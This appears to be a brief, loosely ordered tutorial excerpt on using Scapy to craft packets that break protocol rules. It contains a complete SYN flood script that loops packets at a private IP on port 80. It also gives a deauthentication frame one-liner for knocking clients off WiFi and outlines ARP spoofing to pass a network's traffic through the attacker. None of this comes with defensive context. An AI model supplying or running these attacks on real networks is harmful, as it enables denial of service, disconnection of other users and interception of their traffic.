Standard sockets let you send data properly (TCP Header + IP Header + Data). Scapy lets you break the rules. "I want a TCP packet with flags set to SYN+FIN and a payload of 'Hello'." (This is illegal in TCP, but Scapy lets you do it).

# SYN Flood Example from scapy.all import * target_ip = "192.168.1.5" target_port = 80 ip = IP(dst=target_ip) tcp = TCP(sport=RandShort(), dport=target_port, flags="S") # S = SYN raw = Raw(b"X"*1024) p = ip / tcp / raw send(p, loop=1, verbose=0)
WiFi Deauth Attack

You can forge "Deauthentication Frames".
These tell a client (victim) to disconnect from the WiFi Access Point.
RadioTap() / Dot11(addr1=client, addr2=bssid, addr3=bssid) / Dot11Deauth()
This kicks people off WiFi instantly.

1. ARP Spoofing

Scapy makes building ARP response packets trivial.
You broadcast: "I am the Router (192.168.1.1)".
Windows/Linux machines believe you and update their ARP cache. All traffic now flows through you.